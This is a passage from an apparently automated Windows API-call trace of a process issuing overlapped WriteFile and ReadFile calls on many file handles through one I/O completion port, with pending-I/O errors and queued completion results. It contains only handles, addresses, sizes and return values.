dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.186] WriteFile (in: hFile=0x260, lpBuffer=0x38d2ff0, nNumberOfBytesToWrite=0xcf71, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38d2ea0 | out: lpBuffer=0x38d2ff0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38d2ea0) returned 0x0 [0111.186] RtlGetLastWin32Error () returned 0x3e5 [0111.186] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.187] WriteFile (in: hFile=0x270, lpBuffer=0x38e00c0, nNumberOfBytesToWrite=0x12e3a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38dff70 | out: lpBuffer=0x38e00c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38dff70) returned 0x0 [0111.188] RtlGetLastWin32Error () returned 0x3e5 [0111.188] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.188] WriteFile (in: hFile=0x280, lpBuffer=0x38f3058, nNumberOfBytesToWrite=0x4b3a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f08 | out: lpBuffer=0x38f3058, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f2f08) returned 0x0 [0111.188] RtlGetLastWin32Error () returned 0x3e5 [0111.189] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.190] WriteFile (in: hFile=0x360, lpBuffer=0x45b3000, nNumberOfBytesToWrite=0x1757e, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45b2eb0 | out: lpBuffer=0x45b3000, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45b2eb0) returned 0x0 [0111.190] RtlGetLastWin32Error () returned 0x3e5 [0111.190] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.191] WriteFile (in: hFile=0x364, lpBuffer=0x45ca6d8, nNumberOfBytesToWrite=0x700d, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45ca588 | out: lpBuffer=0x45ca6d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45ca588) returned 0x0 [0111.191] RtlGetLastWin32Error () returned 0x3e5 [0111.191] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.192] WriteFile (in: hFile=0x368, lpBuffer=0x45d1840, nNumberOfBytesToWrite=0xfd5b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45d16f0 | out: lpBuffer=0x45d1840, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45d16f0) returned 0x0 [0111.192] RtlGetLastWin32Error () returned 0x3e5 [0111.193] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.193] WriteFile (in: hFile=0x36c, lpBuffer=0x45e16f8, nNumberOfBytesToWrite=0x15547, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45e15a8 | out: lpBuffer=0x45e16f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45e15a8) returned 0x0 [0111.194] RtlGetLastWin32Error () returned 0x3e5 [0111.194] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.195] WriteFile (in: hFile=0x370, lpBuffer=0x45f6d98, nNumberOfBytesToWrite=0x11a27, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45f6c48 | out: lpBuffer=0x45f6d98, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45f6c48) returned 0x0 [0111.195] RtlGetLastWin32Error () returned 0x3e5 [0111.195] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.195] WriteFile (in: hFile=0x374, lpBuffer=0x4599488, nNumberOfBytesToWrite=0x4763, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4599338 | out: lpBuffer=0x4599488, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4599338) returned 0x0 [0111.195] RtlGetLastWin32Error () returned 0x3e5 [0111.195] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.196] WriteFile (in: hFile=0x378, lpBuffer=0x38f7cf0, nNumberOfBytesToWrite=0x7d4, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f7ba0 | out: lpBuffer=0x38f7cf0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f7ba0) returned 0x0 [0111.196] RtlGetLastWin32Error () returned 0x3e5 [0111.196] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.197] WriteFile (in: hFile=0x380, lpBuffer=0x4608918, nNumberOfBytesToWrite=0x17b65, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46087c8 | out: lpBuffer=0x4608918, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46087c8) returned 0x0 [0111.197] RtlGetLastWin32Error () returned 0x3e5 [0111.197] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.198] WriteFile (in: hFile=0x384, lpBuffer=0x46205d8, nNumberOfBytesToWrite=0x132b7, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4620488 | out: lpBuffer=0x46205d8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4620488) returned 0x0 [0111.198] RtlGetLastWin32Error () returned 0x3e5 [0111.198] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.198] WriteFile (in: hFile=0x388, lpBuffer=0x46339e8, nNumberOfBytesToWrite=0x16ee1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4633898 | out: lpBuffer=0x46339e8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4633898) returned 0x0 [0111.199] RtlGetLastWin32Error () returned 0x3e5 [0111.199] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.199] WriteFile (in: hFile=0x38c, lpBuffer=0x464aa28, nNumberOfBytesToWrite=0xdb39, lpNumberOfBytesWritten=0x0, lpOverlapped=0x464a8d8 | out: lpBuffer=0x464aa28, lpNumberOfBytesWritten=0x0, lpOverlapped=0x464a8d8) returned 0x0 [0111.200] RtlGetLastWin32Error () returned 0x3e5 [0111.200] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.200] WriteFile (in: hFile=0x390, lpBuffer=0x38f8620, nNumberOfBytesToWrite=0x538, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f84d0 | out: lpBuffer=0x38f8620, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f84d0) returned 0x0 [0111.200] RtlGetLastWin32Error () returned 0x3e5 [0111.200] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.201] WriteFile (in: hFile=0x394, lpBuffer=0x46586c0, nNumberOfBytesToWrite=0x160d9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4658570 | out: lpBuffer=0x46586c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4658570) returned 0x0 [0111.201] RtlGetLastWin32Error () returned 0x3e5 [0111.201] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.202] WriteFile (in: hFile=0x398, lpBuffer=0x466e8f8, nNumberOfBytesToWrite=0xd60f, lpNumberOfBytesWritten=0x0, lpOverlapped=0x466e7a8 | out: lpBuffer=0x466e8f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x466e7a8) returned 0x0 [0111.202] RtlGetLastWin32Error () returned 0x3e5 [0111.202] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.202] WriteFile (in: hFile=0x39c, lpBuffer=0x467c060, nNumberOfBytesToWrite=0x11b8b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x467bf10 | out: lpBuffer=0x467c060, lpNumberOfBytesWritten=0x0, lpOverlapped=0x467bf10) returned 0x0 [0111.203] RtlGetLastWin32Error () returned 0x3e5 [0111.203] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.203] WriteFile (in: hFile=0x3a0, lpBuffer=0x468dd48, nNumberOfBytesToWrite=0x29c1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x468dbf8 | out: lpBuffer=0x468dd48, lpNumberOfBytesWritten=0x0, lpOverlapped=0x468dbf8) returned 0x0 [0111.203] RtlGetLastWin32Error () returned 0x3e5 [0111.203] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.203] WriteFile (in: hFile=0x3a4, lpBuffer=0x459dd48, nNumberOfBytesToWrite=0x1ad4, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459dbf8 | out: lpBuffer=0x459dd48, lpNumberOfBytesWritten=0x0, lpOverlapped=0x459dbf8) returned 0x0 [0111.203] RtlGetLastWin32Error () returned 0x3e5 [0111.203] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.204] WriteFile (in: hFile=0x3a8, lpBuffer=0x4690868, nNumberOfBytesToWrite=0x8e29, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4690718 | out: lpBuffer=0x4690868, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4690718) returned 0x0 [0111.204] RtlGetLastWin32Error () returned 0x3e5 [0111.204] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.204] WriteFile (in: hFile=0x3ac, lpBuffer=0x46997f0, nNumberOfBytesToWrite=0x7567, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46996a0 | out: lpBuffer=0x46997f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46996a0) returned 0x0 [0111.205] RtlGetLastWin32Error () returned 0x3e5 [0111.205] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.205] WriteFile (in: hFile=0x3b0, lpBuffer=0x46a0eb0, nNumberOfBytesToWrite=0x175a1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46a0d60 | out: lpBuffer=0x46a0eb0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46a0d60) returned 0x0 [0111.205] RtlGetLastWin32Error () returned 0x3e5 [0111.206] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.206] WriteFile (in: hFile=0x3b4, lpBuffer=0x46b85b0, nNumberOfBytesToWrite=0xa785, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46b8460 | out: lpBuffer=0x46b85b0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46b8460) returned 0x0 [0111.206] RtlGetLastWin32Error () returned 0x3e5 [0111.206] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.207] WriteFile (in: hFile=0x3b8, lpBuffer=0x46c2e90, nNumberOfBytesToWrite=0xc373, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46c2d40 | out: lpBuffer=0x46c2e90, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46c2d40) returned 0x0 [0111.207] RtlGetLastWin32Error () returned 0x3e5 [0111.207] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.208] WriteFile (in: hFile=0x3bc, lpBuffer=0x46cf360, nNumberOfBytesToWrite=0x181dd, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46cf210 | out: lpBuffer=0x46cf360, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46cf210) returned 0x0 [0111.208] RtlGetLastWin32Error () returned 0x3e5 [0111.208] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.208] ReadFile (in: hFile=0x2e8, lpBuffer=0x38f9be0, nNumberOfBytesToRead=0x159ee, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f9a90 | out: lpBuffer=0x38f9be0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x38f9a90) returned 1 [0111.209] RtlGetLastWin32Error () returned 0x3e5 [0111.209] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.209] ReadFile (in: hFile=0x290, lpBuffer=0x390f728, nNumberOfBytesToRead=0xf048, lpNumberOfBytesRead=0x0, lpOverlapped=0x390f5d8 | out: lpBuffer=0x390f728*, lpNumberOfBytesRead=0x0, lpOverlapped=0x390f5d8) returned 1 [0111.210] RtlGetLastWin32Error () returned 0x3e5 [0111.210] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.210] ReadFile (in: hFile=0x288, lpBuffer=0x47420f0, nNumberOfBytesToRead=0x1f77, lpNumberOfBytesRead=0x0, lpOverlapped=0x4741fa0 | out: lpBuffer=0x47420f0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4741fa0) returned 1 [0111.211] RtlGetLastWin32Error () returned 0x3e5 [0111.211] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.212] ReadFile (in: hFile=0x37c, lpBuffer=0x391e8c8, nNumberOfBytesToRead=0x6c5a, lpNumberOfBytesRead=0x0, lpOverlapped=0x391e778 | out: lpBuffer=0x391e8c8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x391e778) returned 1 [0111.212] RtlGetLastWin32Error () returned 0x3e5 [0111.213] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.213] ReadFile (in: hFile=0x268, lpBuffer=0x47441c0, nNumberOfBytesToRead=0x1069d, lpNumberOfBytesRead=0x0, lpOverlapped=0x4744070 | out: lpBuffer=0x47441c0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4744070) returned 1 [0111.214] RtlGetLastWin32Error () returned 0x3e5 [0111.214] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.214] ReadFile (in: hFile=0x3f0, lpBuffer=0x47549b8, nNumberOfBytesToRead=0x42400, lpNumberOfBytesRead=0x0, lpOverlapped=0x4754868 | out: lpBuffer=0x47549b8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4754868) returned 1 [0111.237] RtlGetLastWin32Error () returned 0x3e5 [0111.238] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.238] WriteFile (in: hFile=0x3c0, lpBuffer=0x46e7698, nNumberOfBytesToWrite=0x1bc9, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e7548 | out: lpBuffer=0x46e7698, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e7548) returned 0x0 [0111.238] RtlGetLastWin32Error () returned 0x3e5 [0111.238] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.238] WriteFile (in: hFile=0x3c4, lpBuffer=0x46e93c0, nNumberOfBytesToWrite=0x4532, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e9270 | out: lpBuffer=0x46e93c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46e9270) returned 0x0 [0111.238] RtlGetLastWin32Error () returned 0x3e5 [0111.238] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.239] WriteFile (in: hFile=0x3c8, lpBuffer=0x38f8cb0, nNumberOfBytesToWrite=0xdd4, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f8b60 | out: lpBuffer=0x38f8cb0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38f8b60) returned 0x0 [0111.239] RtlGetLastWin32Error () returned 0x3e5 [0111.239] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.240] WriteFile (in: hFile=0x3cc, lpBuffer=0x46eda50, nNumberOfBytesToWrite=0x1833b, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46ed900 | out: lpBuffer=0x46eda50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x46ed900) returned 0x0 [0111.240] RtlGetLastWin32Error () returned 0x3e5 [0111.240] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.240] WriteFile (in: hFile=0x3d0, lpBuffer=0x4705ee8, nNumberOfBytesToWrite=0x213a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4705d98 | out: lpBuffer=0x4705ee8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4705d98) returned 0x0 [0111.240] RtlGetLastWin32Error () returned 0x3e5 [0111.241] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.241] WriteFile (in: hFile=0x3d4, lpBuffer=0x4708180, nNumberOfBytesToWrite=0x1251, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4708030 | out: lpBuffer=0x4708180, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4708030) returned 0x0 [0111.241] RtlGetLastWin32Error () returned 0x3e5 [0111.241] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.242] WriteFile (in: hFile=0x3d8, lpBuffer=0x4709530, nNumberOfBytesToWrite=0x16dad, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47093e0 | out: lpBuffer=0x4709530, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47093e0) returned 0x0 [0111.242] RtlGetLastWin32Error () returned 0x3e5 [0111.242] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.243] WriteFile (in: hFile=0x3dc, lpBuffer=0x4720438, nNumberOfBytesToWrite=0x7c0c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47202e8 | out: lpBuffer=0x4720438, lpNumberOfBytesWritten=0x0, lpOverlapped=0x47202e8) returned 0x0 [0111.243] RtlGetLastWin32Error () returned 0x3e5 [0111.243] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.243] WriteFile (in: hFile=0x3e0, lpBuffer=0x47281a0, nNumberOfBytesToWrite=0x4c38, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4728050 | out: lpBuffer=0x47281a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4728050) returned 0x0 [0111.243] RtlGetLastWin32Error () returned 0x3e5 [0111.243] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.244] WriteFile (in: hFile=0x3e4, lpBuffer=0x472cf30, nNumberOfBytesToWrite=0x8ba6, lpNumberOfBytesWritten=0x0, lpOverlapped=0x472cde0 | out: lpBuffer=0x472cf30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x472cde0) returned 0x0 [0111.244] RtlGetLastWin32Error () returned 0x3e5 [0111.244] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.244] WriteFile (in: hFile=0x3e8, lpBuffer=0x4735c30, nNumberOfBytesToWrite=0xc362, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4735ae0 | out: lpBuffer=0x4735c30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4735ae0) returned 0x0 [0111.245] RtlGetLastWin32Error () returned 0x3e5 [0111.245] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.245] WriteFile (in: hFile=0x3ec, lpBuffer=0x397fb20, nNumberOfBytesToWrite=0x36c, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f9d0 | out: lpBuffer=0x397fb20, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397f9d0) returned 0x0 [0111.245] RtlGetLastWin32Error () returned 0x3e5 [0111.245] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, 